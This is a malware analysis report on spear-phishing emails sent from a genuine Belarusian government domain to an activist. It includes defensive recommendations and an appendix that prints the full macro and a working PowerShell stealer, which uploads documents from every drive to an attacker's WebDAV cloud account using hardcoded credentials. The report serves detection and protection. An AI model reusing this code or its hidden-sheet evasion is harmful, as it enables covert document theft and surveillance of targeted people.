How an official email account of a Belarusian state body was used in a targeted attack on an activist with spyware designed to steal documents

In summer 2026, we received two emails for analysis. They had been sent from genuine, non-spoofed mail servers of a Belarusian state body — the Main Department of the Minsk Regional Executive Committee (domain minsk-region.gov.by). The two emails, sent almost two weeks apart under different pretexts, were addressed to the same person: a high-risk Belarusian activist. Both carried an attachment — an Excel file with a macro that, once macros were enabled, silently installed spyware on the victim’s computer to steal documents. Given who the recipient was, we consider it most likely that this was not a random compromise of someone’s mailing list, but a targeted attack on a specific person that exploited trust in an official government channel. Below is a detailed technical analysis of both emails, the malicious attachment and its payload, along with recommendations for activists and human rights defenders who may have received similar emails.

The name, email address and any other data that could identify the recipient are not published in this report and are redacted in screenshots for security reasons. We include only the information necessary for a technical understanding of the incident.

Key findings

• The emails are genuine; the domain was not spoofed. Both emails were sent from real servers of the minsk-region.gov.by domain. Email authentication checks (SPF and, at the time of sending, DKIM) passed. This is not typical phishing using a look-alike domain.
• The email contains a malicious attachment. It carries a macro-enabled Excel file (.xlsm) which, once macros are enabled, launches a hidden PowerShell script that steals documents from the victim’s computer.
• Most likely explanation: a targeted attack. Both emails were sent from an official domain of the Belarusian authorities bodies that systematically persecute activists and human rights defenders. Both were addressed to the same person: a high-risk activist. We consider a targeted attack on a specific individual more likely than a mass mailing via a hacked mail server. This is more dangerous than ordinary phishing: the email passes standard technical checks, comes from a real government domain and does not look fake either to email services or to the recipient.
• Protection worked only partially. The sending organisation’s own anti-spam gateway (Kaspersky Secure Mail Gateway) detected the macro in the document and prefixed the subject line with the warning «[macro detected in the email]», but did not block delivery.
• The same file in both emails. The attachments in the two emails are byte-for-byte identical. The same file was distributed under different names and cover stories («Список.xlsm» and «Аналитика за полугодие.xlsm»).
• The macro is not ransomware; it is spyware. The program does not damage or encrypt data. Every 5 minutes it scans all of the computer’s drives (local, removable and network), looks for office documents and PDFs, and silently copies them to an external cloud storage account controlled by the attackers.

Timeline

The two emails arrived a little over two weeks apart, with different formal pretexts but the same malicious attachment.

Times according to the email headers (sender’s server, UTC+03:00): 13 July 16:39:02, 30 July 12:55:48. In the recipient’s email client (a different time zone), the emails appear as received an hour earlier — at 15:39 and 11:55 respectively. This is not a date discrepancy, just how the email interface displays time.

What the emails looked like

Email of 13 July 2026, «Change in the procedure for submitting appeals». The «To» field is redacted. The subject begins with the warning «[macro detected in the email]» added by the anti-spam gateway.

Email of 30 July 2026, «Summary for the first half of 2026». The sender explicitly asks the recipient to enable macros «for correct display» a standard social engineering trick.

Technical analysis of the emails

The headers of both emails show that they were indeed sent and signed by the infrastructure of the minsk-region.gov.by domain, rather than forged by a third-party sender.

Email 1 «Change in the procedure for submitting appeals»

Email 2 «Summary for the first half of 2026»

Why DKIM «fails» in the email client even though the email is not forged

In the Gmail interface, the DKIM check shows fail for both emails, but this is not a sign of forgery. Both emails passed through the sending organisation’s own anti-spam gateway, Kaspersky Secure Mail Gateway (KSMG). The gateway confirmed the DKIM signature as valid during the initial check (the email really was signed by the sender’s server), but then itself modified the subject line, adding the warning «[macro detected in the email]» after the email had been signed. Changing the subject after signing breaks the DKIM signature when it is verified on the recipient’s side (Google). This is a technical quirk of how the security gateway works, not a sign of third-party tampering with the email.

Sending infrastructure

The IP address 195.50.20.206 belongs to the 195.50.20.0/24 network registered to BeCloud (Belarusian Cloud Technologies), Belarus’s state-owned cloud provider. This is the expected, legitimate infrastructure for the government domain minsk-region.gov.by.

How the sending organisation’s own protection responded

The Kaspersky Secure Mail Gateway (KSMG) anti-spam gateway on the sender’s side correctly identified an active macro in the attachment and tagged both emails with the corresponding headers:

X-KSMG-AntiSpam-Info: ... {Tracking_macro_enabled_document} ...
X-KSMG-Message-Action: skipped
X-KSMG-AntiVirus-Status: NotDetected, skipped

In other words, the gateway detected the presence of a macro in the document and added a warning to the subject line, but did not block or hold the delivery — both emails reached the recipient unimpeded.

The malicious attachment: one file, two names

The attachments from both emails are byte-for-byte the same file, sent under different names and different cover stories.

How the malicious macro (VBA) works

The payload runs automatically when the file is opened, via the Workbook_Open event, with no additional clicks from the user (apart from enabling macros, which the email text explicitly asks for). The code in the ЭтаКнига.cls (ThisWorkbook.cls) module:

Private Sub Workbook_Open()
    Dim shell As Object
    Dim part1 As String, part2 As String
    Dim cmd As String
 
    part1 = ThisWorkbook.Sheets("Лист1").Range("A350").Value
    part2 = ThisWorkbook.Sheets("Лист1").Range("B350").Value
 
    cmd = part1 & " " & part2
 
    Set shell = CreateObject("WScript.Shell")
    shell.Run cmd, 0, False
End Sub

«Лист 1» («Sheet1») is a hidden sheet in the workbook, invisible when the file is opened normally in Excel. Cells A350 and B350 of this sheet contain the malicious command itself:

This technique placing the executable command in cells of a hidden sheet rather than in the macro code itself — is used specifically so that antivirus scanners looking for suspicious strings directly in the VBA code do not detect the payload during static analysis.

What the PowerShell script does: stealing documents

Decoding the Base64 string reveals a fully functional document-stealing script. It works as follows:

• On launch, it sets credentials (username and password) for WebDAV access to an external OpenDrive cloud storage account and creates a folder for its own logs at Documents\OpenDriveBackupLogs.
• It starts an infinite loop: every 5 minutes (300 seconds) it polls all of the computer’s drives — local, removable (USB sticks) and mapped network drives.
• On each drive, it recursively searches for files with the extensions .doc, .docx, .xls, .xlsx, .pdf and .rtf, skipping the Windows system folder and its own log folder.
• Every file found that has not been sent before (or has changed since it was last sent) is uploaded via WebDAV to webdav.opendrive.com, into the «Backup» folder, under a name in the format «_«.
• It keeps track of what has been sent so as not to upload the same files again; the list is stored in a JSON manifest (sent_files.json) and a text log (sent_files.log) in the same service folder.

Bottom line: this is not a destructive program or ransomware, but a classic document stealer (infostealer) designed specifically to steal office files and PDFs from all storage media of the infected computer, running quietly and continuously in the background.

The full code of the decoded script is provided in the technical appendix at the end of this report.

Assessment: why this looks like a targeted attack on an activist

Technical indicators of authenticity do not, on their own, tell us who sent the emails or why. But combined with who the recipient is, they form a clear picture. Below are the factors we took into account.

• The recipient is not a random person. Both emails were addressed to the same high-risk activist. This does not look like a bulk mailing to a database, given at least two consecutive attempts, two weeks apart, to reach this particular person.
• The delivery channel is not spoofed but real and governmental. The SPF check passed, and the sending organisation’s anti-spam gateway confirmed the DKIM signature when it received the email. This means the email really was signed by the minsk-region.gov.by server and passed through BeCloud’s state cloud infrastructure (g-cloud.by). Ordinary cybercriminals running mass campaigns usually have to imitate a domain with a look-alike address precisely because they have no access to the agency’s real infrastructure; here there is no such imitation — a real channel was used.
• Personalisation for a specific person. In the second email, the recipient is addressed by first name and patronymic, and the first email is built around the theme of a «citizens’ appeals system». In other words, the sender had real personal data about the recipient, which can reasonably be linked to the person having previously interacted with Belarusian state bodies (for example, by submitting an appeal, or by having attracted attention as an activist).
• The recipient’s profile fits a known pattern. The use of official, technically legitimate channels of Belarusian state bodies against specific activists and human rights defenders is a pattern of digital persecution in Belarus that has been documented by human rights and technical organisations.
• Caveat: the tool is unsophisticated. The malware itself is technically simple: it is not elaborate, custom-built spyware but a fairly generic document stealer. This does not in itself rule out a targeted attack: inexpensive and not always sophisticated tools are often used in precisely such pinpoint operations against specific people, partly because they are cheaper and do not require exposing more valuable capabilities.
• Taking all of this into account, we consider the most likely explanation to be a targeted attack on a specific person that exploited trust in a genuine government channel, rather than a mass mailing resulting from a random third-party compromise of the agency’s email. This is significantly more dangerous than typical phishing using a look-alike domain: the email passes all standard technical authenticity checks, is sent from a real government domain, and does not look fake either to email services or to the recipient, who has no usual reason to be suspicious.

From the outside, based on the two emails we received, we cannot establish who exactly initiated the mailing (a specific unit within the agency, a person with access to its email system, or another actor operating through this infrastructure). We also do not completely rule out a compromise of the infrastructure by a third party, but given the recipient’s profile we consider this less likely than a targeted attack.

Indicators of compromise (IOCs)

Recommendations

These recommendations are primarily addressed to Belarusian activists, human rights defenders and NGO staff.

If you have not yet opened the email or attachment

• Do not open the attachment and do not enable macros. Forward it to digital security specialists — for example, to us at DFLab.
• Keep in mind that a similar email may in future be sent from any other official-looking Belarusian government address. If you are in a risk group, the technical «authenticity» of the sender alone is no guarantee that the attachment is safe.
• If you are unsure where an email came from, verify it through an independent channel you know to be safe, not through the contact details given in the email itself.

If you have already opened the file and enabled macros

Treat the device as infected and immediately disconnect it from the internet and the local network.
Keep in mind that, beyond stealing documents, the device of an at-risk person may have been of interest to the attackers as a source of other information (contacts, correspondence, work materials). Where possible, assume the worst-case scenario rather than just a leak of office files.
Scan the device with an antivirus — ideally also with a separate, second scanner in addition to your main one. If possible, consider a full reinstall of the operating system rather than just cleaning it.
Check for the folder Documents\OpenDriveBackupLogs — the malicious script creates it for its own service records. Its presence confirms infection.
Change the passwords for all important accounts — and be sure to do this from a different device that you know is not infected.
If your work involves vulnerable people or sensitive materials, let trusted colleagues know that your device may have been compromised.

In any case

• Given the likely targeted nature of the attack, we do not recommend reporting the incident to the sending organisation itself (minsk-region.gov.by).
• Seek support from digital security specialists who work with activists and human rights defenders — for example, the Digital Security Helpline at Access Now (free and confidential help, 24/7) — or contact Digital Freedoms Lab via dflab.me.

If you or someone you know has received similar emails with .xlsm or .docm attachments purporting to be from Belarusian government bodies and would like to share a sample for analysis (including anonymously), please contact Digital Freedoms Lab at [email protected]. This will help establish whether this is an isolated case or part of a broader campaign against the activist community.

This report was prepared by the Digital Freedoms Lab team (dflab.me) on the basis of two emails in .eml format and the malicious .xlsm files attached to them, which were received for analysis. The analysis included examining the email headers (SPF/DKIM/DMARC, routing, service headers of the sender’s anti-spam gateway), static analysis of the VBA macro and decoding of the embedded PowerShell script. The recipient’s name and address are not disclosed in this report.

Digital Freedoms Lab is a team working on digital security, protection against surveillance and digital rights, primarily supporting NGOs, journalists, human rights defenders and activist communities.

Technical appendix: full code

This section is intended for information security specialists and contains the full code of the malicious macro and the decoded PowerShell script.

VBA macro (ЭтаКнига.cls / ThisWorkbook module)

Private Sub Workbook_Open()
    Dim shell As Object
    Dim part1 As String, part2 As String
    Dim cmd As String
 
    part1 = ThisWorkbook.Sheets("Лист1").Range("A350").Value
    part2 = ThisWorkbook.Sheets("Лист1").Range("B350").Value
 
    cmd = part1 & " " & part2
 
    Set shell = CreateObject("WScript.Shell")
    shell.Run cmd, 0, False
End Sub

Decoded PowerShell script (full)

$webdavUrl = "https://webdav.opendrive.com"
$remoteRootFolder = "Backup"
$extensions = @("*.doc", "*.docx", "*.pdf", "*.xls", "*.xlsx", "*.rtf")
$logFolder = Join-Path $env:USERPROFILE "Documents\OpenDriveBackupLogs"
$logFilePath = Join-Path $logFolder "sent_files.log"
$manifestPath = Join-Path $logFolder "sent_files.json"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
if (!(Test-Path $logFolder)) { New-Item -ItemType Directory -Path $logFolder | Out-Null }
 
$sent = @{}
if (Test-Path $manifestPath) {
    try {
        $jsonObj = Get-Content $manifestPath -Raw | ConvertFrom-Json
        $jsonObj.PSObject.Properties | ForEach-Object { $sent[$_.Name] = $_.Value }
    } catch { $sent = @{} }
}
$username = "[email protected]"
$password = "Pinocchio_12!"
$pair = '{0}:{1}' -f $username, $password
$basic = [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes($pair))
$authHeader = "Basic $basic"
 
while ($true) {
    $manifestChanged = $false
    $allDrives = Get-CimInstance -ClassName Win32_LogicalDisk | Where-Object {
        $_.DriveType -in @(3, 2, 4) -and (Test-Path ($_.DeviceID + "\"))
    }
 
    foreach ($drive in $allDrives) {
        $sourceRoot = $drive.DeviceID + "\"
        $drivePrefix = $drive.DeviceID.Replace(":", "")
 
        $files = Get-ChildItem -Path $sourceRoot -Recurse -File -Include $extensions -ErrorAction SilentlyContinue
 
        foreach ($file in $files) {
            if ($file.FullName -like "*:\Windows\*" -or $file.FullName -like "*\OpenDriveBackupLogs\*") { continue }
            if ($sent.ContainsKey($file.FullName) -and $sent[$file.FullName] -eq $file.LastWriteTimeUtc.ToString('o')) { continue }
 
            $remoteFileName = $drivePrefix + "_" + $file.Name
            $fullRemotePath = $remoteRootFolder + '/' + $remoteFileName
            $encodedParts = $fullRemotePath -split '/' | ForEach-Object { [Uri]::EscapeDataString($_) }
            $remoteUrl = $webdavUrl.TrimEnd('/') + '/' + ($encodedParts -join '/')
 
            try {
                $headers = @{ Authorization = $authHeader }
                Invoke-WebRequest -Uri $remoteUrl -Method Put -InFile $file.FullName `
                    -Headers $headers -ContentType "application/octet-stream" -TimeoutSec 1900 | Out-Null
 
                $sent[$file.FullName] = $file.LastWriteTimeUtc.ToString('o')
                $manifestChanged = $true
                Add-Content -Path $logFilePath -Value ("[{0}] Ok: {1} -> {2}" -f (Get-Date -Format "yyyy-MM-dd HH:mm:ss"), $file.FullName, $remoteFileName)
            } catch {
                Add-Content -Path $logFilePath -Value ("[{0}] Error: {1} :: {2}" -f (Get-Date -Format "yyyy-MM-dd HH:mm:ss"), $file.FullName, $_.Exception.Message)
            }
        }
    }
 
    if ($manifestChanged) {
        $sent | ConvertTo-Json -Depth 3 | Set-Content -Path $manifestPath -Encoding UTF8
    }
 
    Start-Sleep -Seconds 300
}

The credentials ([email protected] / Pinocchio_12!) were hardcoded into the code by the attackers and are reproduced here solely as an indicator of compromise — to help recognise them in network traffic and to pass on to the OpenDrive service operator so the account can be blocked. Using them to access anyone else’s data is unacceptable.